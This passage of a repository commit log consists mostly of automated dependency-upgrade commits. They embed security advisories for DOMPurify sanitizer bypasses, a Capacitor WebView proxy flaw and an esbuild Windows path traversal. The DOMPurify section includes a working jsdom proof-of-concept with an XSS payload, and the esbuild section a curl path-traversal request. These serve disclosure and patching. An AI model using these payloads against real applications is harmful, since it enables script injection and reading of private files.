afterSanitize site: the diff adds the neutralization only at the before/upon locations, later refactored into `_handleHookDetachedNode` at `src/purify.ts:2142` and `2175`. A subsequent hardening change (`#1616`) added a `rootWasRemoved` throw and a neutralization sweep over `DOMPurify.removed`, but that sweep still iterates only `DOMPurify.removed`, which by design excludes hook-detached non-root nodes, so it does not close this gap. The `afterSanitizeElements`-on-kept-custom-element site at `2208` was itself introduced by the fix for GHSA-c2j3-45gr-mqc4 (`#1527`), adding another uncovered hook site. Disproof attempts, all failed: (a) that a later release closed the afterSanitize gap, refuted by inspecting the published 3.4.13, 3.4.14, and 3.4.15 artifacts; (b) that detached descendants are revisited or re-sanitized, refuted at runtime (the `onerror` is retained only at the afterSanitize sites and stripped at the before/upon sites and with no removal hook); (c) that the post-walk pass catches hook-detached nodes, refuted by the design that excludes them from `DOMPurify.removed`; (d) that the precondition is contrived, refuted by parity with the accepted GHSA-55q2 threat model and the library's own supported pattern of removing a node inside `afterSanitizeElements`. The only edge not directly executed is the browser resource-event dispatch (jsdom performs no real image load); it is established by the proven retention of the live handler after a synchronous return, the library's own comments describing exactly this hazard, and parity with the accepted GHSA-55q2 mechanism. ##### Affected Versions - `Ecosystem: npm` - `Package: dompurify` - `Confirmed affected range: >= 3.4.13, <= 3.4.15` - `Latest release checked: 3.4.15 (npm registry)` - `Fix status: fixed in 3.4.16` The before/upon detach neutralization introduced for GHSA-55q2-fjhq-7xh7 first shipped in 3.4.13; the residual afterSanitize gap was verified by reproducing it against the published npm artifacts for 3.4.13, 3.4.14, and 3.4.15. The 3.4.12 artifact predates that neutralization and behaves differently at the before/upon sites, so it is outside this specific incomplete-fix range. No release through 3.4.15 neutralizes detached subtrees at the afterSanitize sites, so no fixed version is established. ##### Suggested Fix Enforce the same `IN_PLACE` detach-neutralization invariant at every hook site that can detach a node, not only the before/upon sites. Concretely, apply a `_handleHookDetachedNode(currentNode, root)` re-check after `afterSanitizeElements` at both `src/purify.ts:2208` and `2249` (returning as removed when the node was detached), and add an equivalent `IN_PLACE` detach check plus `_neutralizeSubtree` after `afterSanitizeAttributes` at `2670`. As an interim mitigation without a code change, applications using `IN_PLACE` can avoid removing nodes inside `afterSanitizeElements`/`afterSanitizeAttributes` hooks and instead perform such removals in `beforeSanitizeElements`/`uponSanitizeElement`, or avoid `IN_PLACE` for attacker-influenced content. Reported by zx (GitHub: @​manus-pi). #### Severity - CVSS Score: 2.3 / 10 (Low) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/cure53/DOMPurify/security/advisories/GHSA-p98j-92pf-mc4p](https://redirect.github.com/cure53/DOMPurify/security/advisories/GHSA-p98j-92pf-mc4p) - [https://github.com/cure53/DOMPurify/pull/1636](https://redirect.github.com/cure53/DOMPurify/pull/1636) - [https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7](https://redirect.github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7) - [https://github.com/cure53/DOMPurify/releases/tag/3.4.16](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.16) - [https://github.com/advisories/GHSA-p98j-92pf-mc4p](https://redirect.github.com/advisories/GHSA-p98j-92pf-mc4p) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-p98j-92pf-mc4p) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes [GHSA-6688-9rhm-gjv2](https://redirect.github.com/advisories/GHSA-6688-9rhm-gjv2) <details> <summary>More information</summary> #### Details ##### Environment - dompurify 3.4.15 (current npm release); reproduced independently on jsdom 30.0.1 and 29.1.1 (Node.js 20.x / 26.x) - Config: `DOMPurify.sanitize(node, { IN_PLACE: true })` on a Node input; `SAFE_FOR_XML` at its default (`true`) ##### Summary The 3.4.9 fix for the IN_PLACE detached-root class added two protections on the IN_PLACE return path: a fail-closed `TypeError` in `_forceRemove` when a node selected for removal cannot be detached, and a `_neutralizeSubtree` pass (`dist/purify.js` line 1336) that strips non-allowlisted **attributes** from removed subtrees. Both miss the rawtext **text-content** form. When the force-removed root is a rawtext element (`<style>`), the payload lives in the node's *text*: the node detaches fine (the `TypeError` guard is not reached), `_neutralizeSubtree` strips nothing (there are no attributes), and the IN_PLACE exit returns the detached, never-sanitized `<style>` whose text still carries live markup. Serializing that node and re-parsing it in **plain HTML context** materializes the payload — no foreign-content context required. The same Node input sanitized **without** `IN_PLACE` returns an empty result: the only difference is the IN_PLACE return path handing the killed node back. ##### Steps to reproduce ```js const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify'); // 3.4.15 const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); const styleRoot = window.document.createElement('style'); styleRoot.setAttribute('onclick', 'alert(1)'); // attribute payload styleRoot.textContent = '</style><img src=x onerror=1>'; // text payload window.document.body.appendChild(styleRoot); const returned = DOMPurify.sanitize(styleRoot, { IN_PLACE: true }); console.log(returned === styleRoot); // true (same node) console.log(styleRoot.parentNode === null); // true (detached) console.log(styleRoot.outerHTML); // <style></style><img src=x onerror=1></style> console.log(styleRoot.getAttribute('onclick')); // null (attribute neutralized) console.log(styleRoot.textContent); // '</style><img src=x onerror=1>' (text survives) // plain HTML reparse (no foreign-content context involved): const probe = window.document.createElement('div'); probe.innerHTML = returned.outerHTML || styleRoot.outerHTML; console.log(probe.querySelectorAll('img').length); // 1 console.log(probe.querySelector('img').getAttribute('onerror')); // "1" ``` Observed on 3.4.15: one node, one call — the `onclick` **attribute** is neutralized while the **text** payload (`</style><img src=x onerror=1>`) survives verbatim; serializing and re-parsing the returned node in plain HTML context materializes the `img` with the live `onerror` handler. Contrast on the same Node input without `IN_PLACE`: `RETURN_DOM: true` → `<body></body>`; `RETURN_DOM_FRAGMENT: true` → 0 children — the payload is fully sanitized away. The only difference is the IN_PLACE return path. Contrast on the removal trigger: `SAFE_FOR_XML: false` → the node is not removed (detached stays false); plain CSS text → not removed. The removal is gated by the mXSS text probes and happens *specifically because* the serialized node would re-open tags on reparse. ##### Root cause `_isUnsafeNode` (`dist/purify.js` 3.4.15, lines 1700–1714) removes nodes whose literal text would re-open tags on reparse — shape (b) in the source comment is "text-only content that already carries the element's OWN end tag", detected by the `LITERAL_TEXT_CLOSE` probe (line 385) alongside the `ELEMENT_MARKUP_PROBE` (line 339) rules. `_forceRemove` (line 1122) records the node in `DOMPurify.removed` (`{element}`) and detaches it. The removal is intentional: the upstream comment states these shapes are removed **because the literal serializer emits them verbatim for the HTML parser to re-open**. The IN_PLACE exit then hands the force-removed root back to the caller — the very node whose removal `DOMPurify.removed` just recorded (verified: `DOMPurify.removed.some(e => e.element === root)` is `true` on the returned instance). The 3.4.9 `_neutralizeSubtree` pass (line 1336) addresses only the attribute form — its own docstring: "walks a removed subtree and strips every attribute" (purpose: cancel queued resource events). Rawtext text content is out of its scope, so the removal that was performed *specifically to prevent reparse* is undone by returning the node: you removed it to stop the reparse, then returned it. Differential (one node, one call, same removal path): the `onclick` attribute is neutralized by the existing pass while the text payload survives verbatim — the attribute axis is covered, the text axis is the gap. ##### Impact Identical blast radius to the published IN_PLACE family: an application that sanitizes a Node in `IN_PLACE` mode and re-inserts (or serializes and then re-inserts) the result materializes attacker markup in plain HTML context: script execution in the page. Moving the returned node via `appendChild` alone is safe; the round trip through serialization is what fires the payload. No foreign-content context is required with the close-tag payload. ##### Affected versions - Verified live: 3.4.15 (current). - Source-verified: the attribute-only `_neutralizeSubtree` and the IN_PLACE return path are present in 3.4.9–3.4.14; releases before 3.4.9 predate the fix entirely (unconditional return; individual pre-3.4.9 releases not dynamically tested). - Per cure53 advisory convention the affected range is reported as `<= 3.4.15` (current at time of writing). ##### Suggested remediation **Primary (root-cause, covers every form):** at the IN_PLACE exit, check whether the returned root was recorded during sanitization — `DOMPurify.removed.some(e => e.element === root)` — and fail closed: throw the same `TypeError` style used by the 3.4.9 detach guard ("a node selected for removal could not be safely returned; refusing to sanitize in place"), or return `null`. This is consistent with the existing fail-closed design and covers all present and future root-kill reasons in one check. **Secondary (form-specific):** extend `_neutralizeSubtree` to neutralize **text content of rawtext descendants** — the elements in `LITERAL_TEXT_ELEMENT_NAMES` (`style`, `script`, `xmp`, `iframe`, `noembed`, `noframes`, `plaintext`, `noscript`) — by rewriting `textContent` to a defanged form, matching the probe coverage of `_isUnsafeNode`/`LITERAL_TEXT_CLOSE`. A regression test asserting that a force-removed rawtext root comes back with no `/<[/\w!]/` match in `textContent` (and is not returned at all under the primary fix) prevents re-introduction. ##### Prior art / differentiation - GHSA-r47g-fvhr-h676 (fixed 3.4.6): clobbered-form **root** removal — different trigger; this report's root is a normal allowlisted `style` element killed by the text probe. - GHSA-55q2-fjhq-7xh7 (low): IN_PLACE **hook removal** leaves a detached subtree executable — the attribute-form twin (hook-stripped subtree retains onload-class handlers). This report's rawtext **text** form is not covered by `_neutralizeSubtree`'s attribute stripping and is not that advisory. - GHSA-h8r8-wccr-v5f2 (medium): mXSS via re-contextualization in the standard (non-IN_PLACE) serialize path — different mechanism; IN_PLACE is not involved. - The 3.4.9 release notes credit @​mozfreedyb for the IN_PLACE handling improvements that this residual escapes on the text axis. ##### Applicability scope (stated up front) The payload materializes when the application **serializes and re-parses** the sanitizer output (`innerHTML` assignment, template rendering, markdown/HTML round trips) or otherwise consumes the returned node's markup. Moving the returned node via `appendChild` alone does not trigger it. Applications that pass **live, connected attacker trees** into `IN_PLACE` are explicitly warned against by upstream's own source comment; this report concerns the serialize-and-reinsert consumption pattern that the IN_PLACE mode exists to serve. #### Severity Low #### References - [https://github.com/cure53/DOMPurify/security/advisories/GHSA-6688-9rhm-gjv2](https://redirect.github.com/cure53/DOMPurify/security/advisories/GHSA-6688-9rhm-gjv2) - [https://github.com/cure53/DOMPurify/pull/1636](https://redirect.github.com/cure53/DOMPurify/pull/1636) - [https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7](https://redirect.github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7) - [https://github.com/cure53/DOMPurify/releases/tag/3.4.16](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.16) - [https://github.com/advisories/GHSA-6688-9rhm-gjv2](https://redirect.github.com/advisories/GHSA-6688-9rhm-gjv2) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-6688-9rhm-gjv2) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>cure53/DOMPurify (dompurify)</summary> ### [`v3.4.16`](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.16): DOMPurify 3.4.16 [Compare Source](https://redirect.github.com/cure53/DOMPurify/compare/3.4.15...3.4.16) - Fixed a problem with `IN_PLACE` node removal when working with hooks, thanks [@​manus-pi](https://redirect.github.com/manus-pi) - Fixed a problem with `IN_PLACE` sanitization and raw-text roots, thanks [@​h-t-m](https://redirect.github.com/h-t-m) - Fixed a problem with ESM default exports landing in CommonJS declarations, thanks [@​ssi02014](https://redirect.github.com/ssi02014) - Migrated from `rollup` to `rolldown` because performance, thanks [@​ssi02014](https://redirect.github.com/ssi02014) - Bumped several dependencies where possible ### [`v3.4.15`](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.15): DOMPurify 3.4.15 [Compare Source](https://redirect.github.com/cure53/DOMPurify/compare/3.4.14...3.4.15) - Added better clobbering hardening when XML content is involved, thanks [@​gnyselcuk](https://redirect.github.com/gnyselcuk) - Added several smaller hardening and edge-case improvements, thanks [@​leechristensen](https://redirect.github.com/leechristensen) - Bumped several dependencies where possible ### [`v3.4.14`](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.14): DOMPurify 3.4.14 [Compare Source](https://redirect.github.com/cure53/DOMPurify/compare/3.4.13...3.4.14) - Fixed an issue with possible bypasses when risky tags are allow-listed, thanks [@​AlirezaRouhbakhsh](https://redirect.github.com/AlirezaRouhbakhsh) - Fixed a couple of edge cases with mixed document contexts, thanks [@​fishjojo1](https://redirect.github.com/fishjojo1) - Added the SVG `pointer-events` and `vector-effect` presentation attributes to the allow-list, thanks [@​Jaybhade](https://redirect.github.com/Jaybhade) - Conducted another refactoring run, removed dead branches and duplicated logic, flattened attribute validation - Updated the documentation in several spots, README, wiki, etc., thanks [@​Akokonunes](https://redirect.github.com/Akokonunes) - Updated several development dependencies and CI workflow actions </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
432a3f45c3 |
chore: bump up @capacitor/ios version to v8.4.3 [SECURITY] (#15676)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@capacitor/ios](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`8.4.2` → `8.4.3`](https://renovatebot.com/diffs/npm/@capacitor%2fios/8.4.2/8.4.3) |  |  | --- ### Capacitor Android and iOS: remote content can be loaded at the app origin via the internal HTTP proxy path [CVE-2026-103922](https://nvd.nist.gov/vuln/detail/CVE-2026-103922) / [GHSA-rvm3-566m-v7fv](https://redirect.github.com/advisories/GHSA-rvm3-566m-v7fv) <details> <summary>More information</summary> #### Details ##### Impact Capacitor's WebView navigation guard validated only the **host and scheme** of a target URL, not its **path**. Because the internal HTTP proxy path (`/_capacitor_http_interceptor_`) is served at the application's own origin, a frame navigation to it was always treated as in-app navigation and allowed. Loading that path as a document caused the native layer to fetch an arbitrary, caller-specified URL and return the response body to the WebView **at the app's own origin**. Script in that response then ran with full same-origin trust: access to `localStorage`, cookies, and every native capability the application exposes through its registered Capacitor plugins. The proxy handler was additionally served **regardless of whether the `CapacitorHttp` plugin was enabled**, so applications that never enabled `CapacitorHttp` were also affected. Exploitation requires a victim to activate a link inside the application's WebView. Any Capacitor application that renders user-controlled or unsanitized links (chat messages, comments, rich-text content) is a viable delivery surface. Both **Android and iOS** are affected. ##### Patches Two changes on each platform: 1. The navigation guard now blocks frame navigations whose path is the internal proxy path. 2. The proxy handler is served only when `CapacitorHttp` is enabled, and never for a document (main frame) request. Legitimate `CapacitorHttp` usage is unaffected. `fetch` and `XMLHttpRequest` are subresource requests and do not pass through the navigation guard. Upgrade to a patched version, then rebuild and redistribute your application. ##### Workarounds If you cannot upgrade immediately, note first that **disabling `CapacitorHttp` is not sufficient** on affected versions, because the proxy path is served regardless of that setting. Registered plugins are consulted before the navigation guard runs, so a small plugin can block the path. On Android, override `shouldOverrideLoad(Uri url)` and return `true` when `url.getPath()` starts with `/_capacitor_http_interceptor_`. On iOS, implement `shouldOverrideLoad(_:)` and return `true` for the same path. Returning `true` cancels the navigation; return `null`/`nil` for all other URLs so normal navigation is unchanged. Independently, sanitize user-controlled link targets before rendering them in the WebView. #### Severity - CVSS Score: 9.3 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N` #### References - [https://github.com/ionic-team/capacitor/security/advisories/GHSA-rvm3-566m-v7fv](https://redirect.github.com/ionic-team/capacitor/security/advisories/GHSA-rvm3-566m-v7fv) - [https://nvd.nist.gov/vuln/detail/CVE-2026-103922](https://nvd.nist.gov/vuln/detail/CVE-2026-103922) - [https://github.com/ionic-team/capacitor/commit/430356a91e1419fc66862dc09835081aa501677e](https://redirect.github.com/ionic-team/capacitor/commit/430356a91e1419fc66862dc09835081aa501677e) - [https://github.com/ionic-team/capacitor/commit/745b5f805bf77bc6463977cc7d718cd9de44ccbc](https://redirect.github.com/ionic-team/capacitor/commit/745b5f805bf77bc6463977cc7d718cd9de44ccbc) - [https://github.com/ionic-team/capacitor/commit/80b6c5e81d062e1e158914040f49e044d95b7ccb](https://redirect.github.com/ionic-team/capacitor/commit/80b6c5e81d062e1e158914040f49e044d95b7ccb) - [https://github.com/ionic-team/capacitor/commit/85ccc44151fdd5ae5e0d806d875766ef4b84ad5d](https://redirect.github.com/ionic-team/capacitor/commit/85ccc44151fdd5ae5e0d806d875766ef4b84ad5d) - [https://github.com/ionic-team/capacitor/commit/af9a287fef45f0ac68ce640cb42fed2d06b0f1b4](https://redirect.github.com/ionic-team/capacitor/commit/af9a287fef45f0ac68ce640cb42fed2d06b0f1b4) - [https://github.com/ionic-team/capacitor/commit/d5e3170ba0ff155fc542b7e6d16cff5201406540](https://redirect.github.com/ionic-team/capacitor/commit/d5e3170ba0ff155fc542b7e6d16cff5201406540) - [https://github.com/ionic-team/capacitor/commit/ee586ae680887ba99d066616f976db149542d922](https://redirect.github.com/ionic-team/capacitor/commit/ee586ae680887ba99d066616f976db149542d922) - [https://github.com/ionic-team/capacitor/releases/tag/8.5.1](https://redirect.github.com/ionic-team/capacitor/releases/tag/8.5.1) - [https://github.com/advisories/GHSA-rvm3-566m-v7fv](https://redirect.github.com/advisories/GHSA-rvm3-566m-v7fv) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rvm3-566m-v7fv) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>ionic-team/capacitor (@​capacitor/ios)</summary> ### [`v8.4.3`](https://redirect.github.com/ionic-team/capacitor/releases/tag/8.4.3) [Compare Source](https://redirect.github.com/ionic-team/capacitor/compare/8.4.2...8.4.3) ##### Bug Fixes - block navigation to the internal HTTP proxy path ([745b5f8](https://redirect.github.com/ionic-team/capacitor/commit/745b5f805bf77bc6463977cc7d718cd9de44ccbc)) - block the HTTP proxy path in subframes ([af9a287](https://redirect.github.com/ionic-team/capacitor/commit/af9a287fef45f0ac68ce640cb42fed2d06b0f1b4)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
dc956ba1b9 |
chore: bump up @capacitor/android version to v8.4.3 [SECURITY] (#15675)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@capacitor/android](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`8.4.2` → `8.4.3`](https://renovatebot.com/diffs/npm/@capacitor%2fandroid/8.4.2/8.4.3) |  |  | --- ### Capacitor Android and iOS: remote content can be loaded at the app origin via the internal HTTP proxy path [CVE-2026-103922](https://nvd.nist.gov/vuln/detail/CVE-2026-103922) / [GHSA-rvm3-566m-v7fv](https://redirect.github.com/advisories/GHSA-rvm3-566m-v7fv) <details> <summary>More information</summary> #### Details ##### Impact Capacitor's WebView navigation guard validated only the **host and scheme** of a target URL, not its **path**. Because the internal HTTP proxy path (`/_capacitor_http_interceptor_`) is served at the application's own origin, a frame navigation to it was always treated as in-app navigation and allowed. Loading that path as a document caused the native layer to fetch an arbitrary, caller-specified URL and return the response body to the WebView **at the app's own origin**. Script in that response then ran with full same-origin trust: access to `localStorage`, cookies, and every native capability the application exposes through its registered Capacitor plugins. The proxy handler was additionally served **regardless of whether the `CapacitorHttp` plugin was enabled**, so applications that never enabled `CapacitorHttp` were also affected. Exploitation requires a victim to activate a link inside the application's WebView. Any Capacitor application that renders user-controlled or unsanitized links (chat messages, comments, rich-text content) is a viable delivery surface. Both **Android and iOS** are affected. ##### Patches Two changes on each platform: 1. The navigation guard now blocks frame navigations whose path is the internal proxy path. 2. The proxy handler is served only when `CapacitorHttp` is enabled, and never for a document (main frame) request. Legitimate `CapacitorHttp` usage is unaffected. `fetch` and `XMLHttpRequest` are subresource requests and do not pass through the navigation guard. Upgrade to a patched version, then rebuild and redistribute your application. ##### Workarounds If you cannot upgrade immediately, note first that **disabling `CapacitorHttp` is not sufficient** on affected versions, because the proxy path is served regardless of that setting. Registered plugins are consulted before the navigation guard runs, so a small plugin can block the path. On Android, override `shouldOverrideLoad(Uri url)` and return `true` when `url.getPath()` starts with `/_capacitor_http_interceptor_`. On iOS, implement `shouldOverrideLoad(_:)` and return `true` for the same path. Returning `true` cancels the navigation; return `null`/`nil` for all other URLs so normal navigation is unchanged. Independently, sanitize user-controlled link targets before rendering them in the WebView. #### Severity - CVSS Score: 9.3 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N` #### References - [https://github.com/ionic-team/capacitor/security/advisories/GHSA-rvm3-566m-v7fv](https://redirect.github.com/ionic-team/capacitor/security/advisories/GHSA-rvm3-566m-v7fv) - [https://nvd.nist.gov/vuln/detail/CVE-2026-103922](https://nvd.nist.gov/vuln/detail/CVE-2026-103922) - [https://github.com/ionic-team/capacitor/commit/430356a91e1419fc66862dc09835081aa501677e](https://redirect.github.com/ionic-team/capacitor/commit/430356a91e1419fc66862dc09835081aa501677e) - [https://github.com/ionic-team/capacitor/commit/745b5f805bf77bc6463977cc7d718cd9de44ccbc](https://redirect.github.com/ionic-team/capacitor/commit/745b5f805bf77bc6463977cc7d718cd9de44ccbc) - [https://github.com/ionic-team/capacitor/commit/80b6c5e81d062e1e158914040f49e044d95b7ccb](https://redirect.github.com/ionic-team/capacitor/commit/80b6c5e81d062e1e158914040f49e044d95b7ccb) - [https://github.com/ionic-team/capacitor/commit/85ccc44151fdd5ae5e0d806d875766ef4b84ad5d](https://redirect.github.com/ionic-team/capacitor/commit/85ccc44151fdd5ae5e0d806d875766ef4b84ad5d) - [https://github.com/ionic-team/capacitor/commit/af9a287fef45f0ac68ce640cb42fed2d06b0f1b4](https://redirect.github.com/ionic-team/capacitor/commit/af9a287fef45f0ac68ce640cb42fed2d06b0f1b4) - [https://github.com/ionic-team/capacitor/commit/d5e3170ba0ff155fc542b7e6d16cff5201406540](https://redirect.github.com/ionic-team/capacitor/commit/d5e3170ba0ff155fc542b7e6d16cff5201406540) - [https://github.com/ionic-team/capacitor/commit/ee586ae680887ba99d066616f976db149542d922](https://redirect.github.com/ionic-team/capacitor/commit/ee586ae680887ba99d066616f976db149542d922) - [https://github.com/ionic-team/capacitor/releases/tag/8.5.1](https://redirect.github.com/ionic-team/capacitor/releases/tag/8.5.1) - [https://github.com/advisories/GHSA-rvm3-566m-v7fv](https://redirect.github.com/advisories/GHSA-rvm3-566m-v7fv) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rvm3-566m-v7fv) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>ionic-team/capacitor (@​capacitor/android)</summary> ### [`v8.4.3`](https://redirect.github.com/ionic-team/capacitor/releases/tag/8.4.3) [Compare Source](https://redirect.github.com/ionic-team/capacitor/compare/8.4.2...8.4.3) ##### Bug Fixes - block navigation to the internal HTTP proxy path ([745b5f8](https://redirect.github.com/ionic-team/capacitor/commit/745b5f805bf77bc6463977cc7d718cd9de44ccbc)) - block the HTTP proxy path in subframes ([af9a287](https://redirect.github.com/ionic-team/capacitor/commit/af9a287fef45f0ac68ce640cb42fed2d06b0f1b4)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
18aca24734 |
fix(server): embedding worker stall (#15673)
fix #15669 fix #15670 fix #15671 fix #15672 fix #15674 #### PR Dependency Tree * **PR #15673** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Ready embedding results are preserved when a source update does not change its content revision, and are reprocessed when that revision changes. * Unchanged embedding index state no longer triggers unnecessary updates. * Embedding work is scheduled more reliably, including prioritizing eligible tasks and honoring claim timeouts. * Workers handle probe and processing failures more reliably, and can release active work when shutting down. * Embedding workers can stop while database queries are waiting without leaving those queries blocked. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
21390ce2ad |
chore: bump up esbuild version to ^0.28.0 [SECURITY] (#15662)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [esbuild](https://redirect.github.com/evanw/esbuild) | [`^0.25.0` → `^0.28.0`](https://renovatebot.com/diffs/npm/esbuild/0.25.12/0.28.1) |  |  | --- ### esbuild allows arbitrary file read when running the development server on Windows [GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/advisories/GHSA-g7r4-m6w7-qqqr) <details> <summary>More information</summary> #### Details ##### Summary The development server contains a path traversal vulnerability on Windows when serving files from `servedir`. Due to the use of `path.Clean()` (which only normalizes forward-slash `/` separators) instead of a Windows-aware path normalization function, it is possible to craft requests using backslashes (`\`) that bypass the intended directory containment logic. An attacker can escape the configured `servedir` root and access arbitrary files on the filesystem. This issue affects Windows environments only. ##### Details The request path is sanitized using: ```go // https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165 queryPath := path.Clean(req.URL.Path)[1:] ``` However: - `path.Clean()` is POSIX-style and only understands `/` (docs: `https://pkg.go.dev/path#Clean`) - On Windows, `\` is a valid path separator - `path.Clean()` does not treat `\` as a separator Later, the server constructs the absolute path: ```go // https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L221 absPath := h.fs.Join(h.servedir, queryPath) ``` If `queryPath` contains sequences such as: ``` ..\..\..\..\..\..\..\Windows\system.ini ``` `path.Clean()` will not normalize them, but the Windows filesystem will interpret `\` as directory separators when resolving `absPath`. Because the implementation does not verify that the final resolved path remains within `servedir`, it allows directory traversal outside the intended root directory. ##### Vulnerable Code ```go // https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165 queryPath := path.Clean(req.URL.Path)[1:] .... // Check for a file in the "servedir" directory if h.servedir != "" && kind != fs.FileEntry { absPath := h.fs.Join(h.servedir, queryPath) if absDir := h.fs.Dir(absPath); absDir != absPath { if entries, err, _ := h.fs.ReadDirectory(absDir); err == nil { if entry, _ := entries.Get(h.fs.Base(absPath)); entry != nil && entry.Kind(h.fs) == fs.FileEntry { .... ``` ##### Steps to reproduce ``` npm install --save-exact --save-dev esbuild echo "console.log(1)" > app.js .\node_modules\.bin\esbuild --version 0.27.3 .\node_modules\.bin\esbuild app.js --bundle --outdir=www --servedir=www --watch curl -i --path-as-is "http://localhost:8000/..\..\..\..\..\..\..\Windows\system.ini" <content of Windows\system.ini> ``` ##### Impact - Arbitrary file read on Windows - Exposure of sensitive files #### Severity - CVSS Score: 2.5 / 10 (Low) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N` #### References - [https://github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr) - [https://github.com/evanw/esbuild/releases/tag/v0.28.1](https://redirect.github.com/evanw/esbuild/releases/tag/v0.28.1) - [https://github.com/advisories/GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/advisories/GHSA-g7r4-m6w7-qqqr) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-g7r4-m6w7-qqqr) ([CC-BY 